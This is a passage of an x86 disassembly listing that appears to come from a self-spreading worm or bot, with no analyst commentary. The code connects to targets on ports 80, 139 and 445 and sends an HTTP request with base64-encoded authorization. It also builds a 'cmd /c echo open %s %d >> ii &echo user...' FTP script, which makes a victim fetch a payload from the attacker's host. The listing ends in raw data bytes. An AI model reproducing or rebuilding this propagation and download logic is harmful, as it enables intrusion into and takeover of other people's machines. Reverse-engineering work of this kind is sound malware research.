[ebp+var_48] call sub_403A08 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_403A25 lea ecx, [ebp+var_8] call sub_4038B5 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_403DF2 ; --------------------------------------------------------------------------- loc_403DE4: ; CODE XREF: sub_403A90+1Bj ; sub_403A90+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_403DF2: ; CODE XREF: sub_403A90+352j pop edi pop ebx leave retn sub_403A90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DF6 proc near ; CODE XREF: sub_403EBA+A1p ; sub_403EBA+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_403E5D lea eax, [ebp+var_10C] push eax push esi call sub_422A46 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_403E61 loc_403E5D: ; CODE XREF: sub_403DF6+54j xor eax, eax jmp short loc_403E71 ; --------------------------------------------------------------------------- loc_403E61: ; CODE XREF: sub_403DF6+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_43F680 loc_403E71: ; CODE XREF: sub_403DF6+69j pop edi pop esi leave retn sub_403DF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403E75 proc near ; CODE XREF: sub_403EBA+81p ; sub_403EBA+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_43F664 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_43F6B8 cmp eax, 4 jz short loc_403E9F xor al, al leave retn ; --------------------------------------------------------------------------- loc_403E9F: ; CODE XREF: sub_403E75+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_43F6B8 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_403E75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403EBA proc near ; CODE XREF: sub_403F94+48p ; ___:00404406p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_417B89 mov esi, eax pop ecx test esi, esi jnz short loc_403EE3 xor al, al jmp loc_403F8F ; --------------------------------------------------------------------------- loc_403EE3: ; CODE XREF: sub_403EBA+20j push ebx push 0 push esi call sub_417330 push 2Fh push offset dword_4286E4 push esi call sub_417390 push 8 lea eax, [esi+31h] push offset dword_428714 push eax mov [esi+2Fh], di call sub_417390 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_417390 push 6 add ebx, edi push offset dword_43C81C push ebx call sub_417390 mov ebx, [ebp+arg_0] push 85h push offset dword_42865C push ebx call sub_403E75 add esp, 48h test al, al jnz short loc_403F4B loc_403F47: ; CODE XREF: sub_403EBA+B5j xor bl, bl jmp short loc_403F86 ; --------------------------------------------------------------------------- loc_403F4B: ; CODE XREF: sub_403EBA+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_403DF6 push [ebp+var_4] push esi push ebx call sub_403E75 add esp, 1Ch test al, al jz short loc_403F47 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_403DF6 add esp, 10h mov bl, 1 loc_403F86: ; CODE XREF: sub_403EBA+8Fj push esi call sub_417C3B pop ecx mov al, bl loc_403F8F: ; CODE XREF: sub_403EBA+24j pop edi pop esi pop ebx leave retn sub_403EBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403F94 proc near ; CODE XREF: ___:004043ECp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_428720 push [ebp+arg_0] nop call near ptr 71AB1AF4h cmp eax, 48h jnz short loc_403FCF push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_403DF6 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_403FCF cmp [ebp+var_20], 82h jz short loc_403FD3 loc_403FCF: ; CODE XREF: sub_403F94+1Bj ; sub_403F94+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_403FD3: ; CODE XREF: sub_403F94+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_403EBA add esp, 0Ch leave retn sub_403F94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FE6 proc near ; CODE XREF: sub_404032+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_424278 call sub_417DC4 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_424270 fstp [esp+10h+var_10] call sub_417CA4 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_417DC4 inc eax leave retn sub_403FE6 endp ; =============== S U B R O U T I N E ======================================= sub_404032 proc near ; CODE XREF: sub_4041D4+24p var_40 = qword ptr -40h mov eax, offset loc_4230E7 call sub_418290 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_404667 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_403FE6 cmp [ebp-2Ch], eax pop ecx jnb short loc_404074 push edi push eax lea ecx, [ebp-38h] call sub_4045E2 loc_404074: ; CODE XREF: sub_404032+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_404191 mov ebx, [ebp+10h] loc_404083: ; CODE XREF: sub_404032+156j cmp dword ptr [ebp+10h], 3 jb short loc_40408D push 3 jmp short loc_40409F ; --------------------------------------------------------------------------- loc_40408D: ; CODE XREF: sub_404032+55j cmp dword ptr [ebp+10h], 2 jnz short loc_404097 push 2 jmp short loc_40409F ; --------------------------------------------------------------------------- loc_404097: ; CODE XREF: sub_404032+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_4040A0 push 1 loc_40409F: ; CODE XREF: sub_404032+59j ; sub_404032+63j pop ebx loc_4040A0: ; CODE XREF: sub_404032+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_424288 fstp [esp+40h+var_40] call sub_417DEB pop ecx pop ecx call sub_417DC4 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_4040DF mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_4040DF: ; CODE XREF: sub_404032+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40414D add [ebp-18h], eax loc_404131: ; CODE XREF: sub_404032+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_42876C[eax] push eax push 1 call sub_404464 inc esi cmp esi, [ebp-1Ch] jb short loc_404131 loc_40414D: ; CODE XREF: sub_404032+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40416B push dword ptr [ebp+14h] call sub_417AB0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_4044BD mov [ebp-18h], edi loc_40416B: ; CODE XREF: sub_404032+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_404185 sub esi, [ebp-1Ch] loc_404176: ; CODE XREF: sub_404032+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_404464 dec esi jnz short loc_404176 loc_404185: ; CODE XREF: sub_404032+13Fj cmp [ebp+10h], edi ja loc_404083 push 1 pop ebx loc_404191: ; CODE XREF: sub_404032+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_404667 push dword_424280 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_404514 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_404667 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_404032 endp ; =============== S U B R O U T I N E ======================================= sub_4041D4 proc near ; CODE XREF: ___:004043CFp mov eax, offset loc_423104 call sub_418290 sub esp, 10h push ebx push esi push edi push offset byte_43C80C lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_404032 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_417B89 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40421E xor bl, bl jmp short loc_404262 ; --------------------------------------------------------------------------- loc_40421E: ; CODE XREF: sub_4041D4+44j mov ecx, [ebp-18h] mov eax, offset dword_424290 cmp ecx, ebx jnz short loc_40422C mov ecx, eax loc_40422C: ; CODE XREF: sub_4041D4+54j cmp [ebp+18h], ebx jz short loc_404234 mov eax, [ebp+18h] loc_404234: ; CODE XREF: sub_4041D4+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41782A add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_43F6B8 cmp eax, esi jz short loc_404259 xor bl, bl jmp short loc_40425B ; --------------------------------------------------------------------------- loc_404259: ; CODE XREF: sub_4041D4+7Fj mov bl, 1 loc_40425B: ; CODE XREF: sub_4041D4+83j push edi call sub_417C3B pop ecx loc_404262: ; CODE XREF: sub_4041D4+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_404667 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_404667 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_4041D4 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_428918 push eax call sub_417390 add esp, 0Ch mov eax, offset byte_42F678 push eax push eax push dword_43C83C push dword ptr [ebp+8] call sub_40AEE0 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp-391h] push 400h push eax call sub_41782A add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_4287B0 push eax call sub_403A90 xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40432B xor eax, eax jmp loc_404457 ; --------------------------------------------------------------------------- loc_40432B: ; CODE XREF: ___:00404322j mov [ebp-0Ch], esi loc_40432E: ; CODE XREF: ___:0040442Ej test esi, esi jnz loc_404434 push 6 push 1 push 2 call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40441C xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_43F668 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_43F6A8 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_43F610 cmp eax, 0FFFFFFFFh jz loc_404411 cmp dword ptr [ebp+0A8h], 50h jnz short loc_4043D9 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_404667 lea eax, [ebp+0Ch] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_4046A3 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_4041D4 add esp, 1Ch jmp short loc_40440E ; --------------------------------------------------------------------------- loc_4043D9: ; CODE XREF: ___:00404397j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_4043F3 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_403F94 jmp short loc_40440B ; --------------------------------------------------------------------------- loc_4043F3: ; CODE XREF: ___:004043E3j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_404411 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_403EBA loc_40440B: ; CODE XREF: ___:004043F1j add esp, 0Ch loc_40440E: ; CODE XREF: ___:004043D7j movzx esi, al loc_404411: ; CODE XREF: ___:0040438Aj ; ___:004043FDj push ebx call dword_43F700 test esi, esi jnz short loc_404427 loc_40441C: ; CODE XREF: ___:00404347j push 3E8h nop call near ptr 26004EDh loc_404427: ; CODE XREF: ___:0040441Aj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40432E loc_404434: ; CODE XREF: ___:00404330j lea ecx, [ebp-8] call sub_4038B5 test esi, esi jz short loc_404455 mov eax, [ebp+0B0h] imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_404455: ; CODE XREF: ___:0040443Ej mov eax, esi loc_404457: ; CODE XREF: ___:00404326j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4230C8 loc_40445C: ; CODE XREF: sub_4230C8+3j ; ___:004230E1j ... push 1 call sub_404667 retn ; END OF FUNCTION CHUNK FOR sub_4230C8 ; =============== S U B R O U T I N E ======================================= sub_404464 proc near ; CODE XREF: sub_404032+110p ; sub_404032+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_424280 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40447E call sub_42298A loc_40447E: ; CODE XREF: sub_404464+13j test ebx, ebx jbe short loc_4044B5 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_4045E2 test al, al jz short loc_4044B5 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_417330 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_4044B5: ; CODE XREF: sub_404464+1Cj ; sub_404464+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_404464 endp ; =============== S U B R O U T I N E ======================================= sub_4044BD proc near ; CODE XREF: sub_404032+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_424280 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_4044D7 call sub_42298A loc_4044D7: ; CODE XREF: sub_4044BD+13j test ebx, ebx jbe short loc_40450C mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_4045E2 test al, al jz short loc_40450C mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_417390 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40450C: ; CODE XREF: sub_4044BD+1Cj ; sub_4044BD+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_4044BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404514 proc near ; CODE XREF: sub_404032+17Cp ; sub_4228A0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40452C call sub_422863 loc_40452C: ; CODE XREF: sub_404514+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40453E mov esi, [ebp+arg_8] loc_40453E: ; CODE XREF: sub_404514+25j cmp edi, ebx jnz short loc_404560 push dword_424280 add esi, ecx mov ecx, edi push esi call sub_4046D8 push [ebp+arg_4] mov ecx, edi push 0 call sub_4046D8 jmp short loc_4045D9 ; --------------------------------------------------------------------------- loc_404560: ; CODE XREF: sub_404514+2Cj test esi, esi jbe short loc_4045A3 cmp esi, eax jnz short loc_4045A3 mov eax, [ebx+4] test eax, eax jnz short loc_404574 mov eax, offset dword_424290 loc_404574: ; CODE XREF: sub_404514+59j cmp byte ptr [eax-1], 0FEh jnb short loc_4045A3 push 1 mov ecx, edi call sub_404667 mov eax, [ebx+4] test eax, eax jnz short loc_40458F mov eax, offset dword_424290 loc_40458F: ; CODE XREF: sub_404514+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_4045D9 ; --------------------------------------------------------------------------- loc_4045A3: ; CODE XREF: sub_404514+4Ej ; sub_404514+52j ... push 1 push esi mov ecx, edi call sub_4045E2 test al, al jz short loc_4045D9 mov eax, [ebx+4] test eax, eax jnz short loc_4045BD mov eax, offset dword_424290 loc_4045BD: ; CODE XREF: sub_404514+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_417390 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_4045D9: ; CODE XREF: sub_404514+4Aj ; sub_404514+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_404514 endp ; =============== S U B R O U T I N E ======================================= sub_4045E2 proc near ; CODE XREF: sub_404032+3Dp ; sub_404464+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_4045F4 call sub_42298A loc_4045F4: ; CODE XREF: sub_4045E2+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40461D mov al, [ecx-1] cmp al, dl jz short loc_40461D cmp al, 0FFh jz short loc_40461D cmp edi, edx jnz short loc_404658 dec al push edx mov [ecx-1], al loc_404612: ; CODE XREF: sub_4045E2+47j mov ecx, esi call sub_404667 loc_404619: ; CODE XREF: sub_4045E2+4Bj ; sub_4045E2+52j xor al, al jmp short loc_404662 ; --------------------------------------------------------------------------- loc_40461D: ; CODE XREF: sub_4045E2+19j ; sub_4045E2+20j ... cmp edi, edx jnz short loc_404636 cmp [esp+8+arg_4], dl jz short loc_40462B push 1 jmp short loc_404612 ; --------------------------------------------------------------------------- loc_40462B: ; CODE XREF: sub_4045E2+43j cmp ecx, edx jz short loc_404619 mov [esi+8], edx mov [ecx], dl jmp short loc_404619 ; --------------------------------------------------------------------------- loc_404636: ; CODE XREF: sub_4045E2+3Dj cmp [esp+8+arg_4], dl jz short loc_404653 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_404648 cmp eax, edi jnb short loc_404660 loc_404648: ; CODE XREF: sub_4045E2+60j push 1 mov ecx, esi call sub_404667 jmp short loc_404658 ; --------------------------------------------------------------------------- loc_404653: ; CODE XREF: sub_4045E2+58j cmp [esi+0Ch], edi jnb short loc_404660 loc_404658: ; CODE XREF: sub_4045E2+28j ; sub_4045E2+6Fj push edi mov ecx, esi call sub_40473F loc_404660: ; CODE XREF: sub_4045E2+64j ; sub_4045E2+74j mov al, 1 loc_404662: ; CODE XREF: sub_4045E2+39j pop edi pop esi retn 8 sub_4045E2 endp ; =============== S U B R O U T I N E ======================================= sub_404667 proc near ; CODE XREF: sub_404032+1Fp ; sub_404032+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_404693 mov eax, [esi+4] test eax, eax jz short loc_404693 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40468C cmp al, 0FFh jz short loc_40468C dec al mov [ecx], al jmp short loc_404693 ; --------------------------------------------------------------------------- loc_40468C: ; CODE XREF: sub_404667+19j ; sub_404667+1Dj push ecx call sub_4182AF pop ecx loc_404693: ; CODE XREF: sub_404667+8j ; sub_404667+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_404667 endp ; =============== S U B R O U T I N E ======================================= sub_4046A3 proc near ; CODE XREF: ___:004043C3p ; sub_4047FC+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_4045E2 test al, al jz short loc_4046D1 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_417390 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_4046D1: ; CODE XREF: sub_4046A3+12j mov eax, esi pop edi pop esi retn 8 sub_4046A3 endp ; =============== S U B R O U T I N E ======================================= sub_4046D8 proc near ; CODE XREF: sub_404514+39p ; sub_404514+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_4046EB call sub_422863 loc_4046EB: ; CODE XREF: sub_4046D8+Cj mov ecx, edi call sub_4047FC mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_404701 mov ebx, eax loc_404701: ; CODE XREF: sub_4046D8+25j test ebx, ebx jbe short loc_404737 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_4182C0 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_4045E2 test al, al jz short loc_404737 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_404737: ; CODE XREF: sub_4046D8+2Bj ; sub_4046D8+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_4046D8 endp ; =============== S U B R O U T I N E ======================================= sub_40473F proc near ; CODE XREF: sub_4045E2+79p mov eax, offset loc_423110 call sub_418290 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_404765 mov edi, [ebp+8] loc_404765: ; CODE XREF: sub_40473F+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_404772 xor eax, eax loc_404772: ; CODE XREF: sub_40473F+2Fj push eax call sub_4185F5 pop ecx mov [ebp+8], eax jmp short loc_4047A3 ; --------------------------------------------------------------------------- loc_40477E: ; DATA XREF: ___:00424F9Co mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40478D xor eax, eax loc_40478D: ; CODE XREF: sub_40473F+4Aj push eax call sub_4185F5 mov [ebp+8], eax pop ecx mov eax, offset loc_40479D retn ; --------------------------------------------------------------------------- loc_40479D: ; DATA XREF: sub_40473F+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_4047A3: ; CODE XREF: sub_40473F+3Dj mov eax, [esi+8] test eax, eax jbe short loc_4047C1 cmp eax, edi jbe short loc_4047B0 mov eax, edi loc_4047B0: ; CODE XREF: sub_40473F+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_417390 add esp, 0Ch loc_4047C1: ; CODE XREF: sub_40473F+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_404667 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_4047E1 mov edi, ebx loc_4047E1: ; CODE XREF: sub_40473F+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40473F endp ; =============== S U B R O U T I N E ======================================= sub_4047FC proc near ; CODE XREF: sub_4046D8+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_404829 mov al, [esi-1] test al, al jz short loc_404829 cmp al, 0FFh jz short loc_404829 push 1 call sub_404667 push esi call sub_417AB0 pop ecx push eax push esi mov ecx, edi call sub_4046A3 loc_404829: ; CODE XREF: sub_4047FC+9j ; sub_4047FC+10j ... pop edi pop esi retn sub_4047FC endp ; =============== S U B R O U T I N E ======================================= sub_40482C proc near ; DATA XREF: ___:00426008o test byte_48A30C, 1 jnz short loc_40483C or byte_48A30C, 1 loc_40483C: ; CODE XREF: sub_40482C+7j jmp $+5 push offset nullsub_1 call sub_418670 pop ecx retn sub_40482C endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40484E proc near ; DATA XREF: ___:0042600Co jmp $+5 sub_40484E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404853 proc near mov eax, dword_428BE0 add eax, 6 mov dword_43C828, eax retn sub_404853 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404861 proc near ; CODE XREF: sub_404861+D0p ; ___:00404DC0p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_404875 or [ebp+arg_7], 1 jmp short loc_404879 ; --------------------------------------------------------------------------- loc_404875: ; CODE XREF: sub_404861+Cj and [ebp+arg_7], 0FEh loc_404879: ; CODE XREF: sub_404861+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40489D or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_4048AF ; --------------------------------------------------------------------------- loc_40489D: ; CODE XREF: sub_404861+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_4048AF: ; CODE XREF: sub_404861+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_417B89 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_404948 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call near ptr 2630000h nop test eax, eax jz short loc_40493F mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40493F push [ebp+arg_20] call sub_417C3B cmp [ebp+arg_2B], 0 pop ecx jz short loc_40493B push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_404861 add esp, 2Ch jmp short loc_40494A ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: sub_404861+B3j mov al, 1 jmp short loc_40494A ; --------------------------------------------------------------------------- loc_40493F: ; CODE XREF: sub_404861+9Cj ; sub_404861+A4j push [ebp+arg_20] call sub_417C3B pop ecx loc_404948: ; CODE XREF: sub_404861+61j xor al, al loc_40494A: ; CODE XREF: sub_404861+D8j ; sub_404861+DCj pop edi pop esi pop ebx leave retn sub_404861 endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; db 0ECh ; db 0B8h ; db 0DCh ; db 60h ; ` db 0 db 0 db 0E8h ; db 0D4h ; db 31h ; 1 db 1 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 5Ch ; \ db 8Ch ; db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; db 24h ; $ db 3Eh ; > db 1 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; db 85h ; db 0C0h ; db 59h 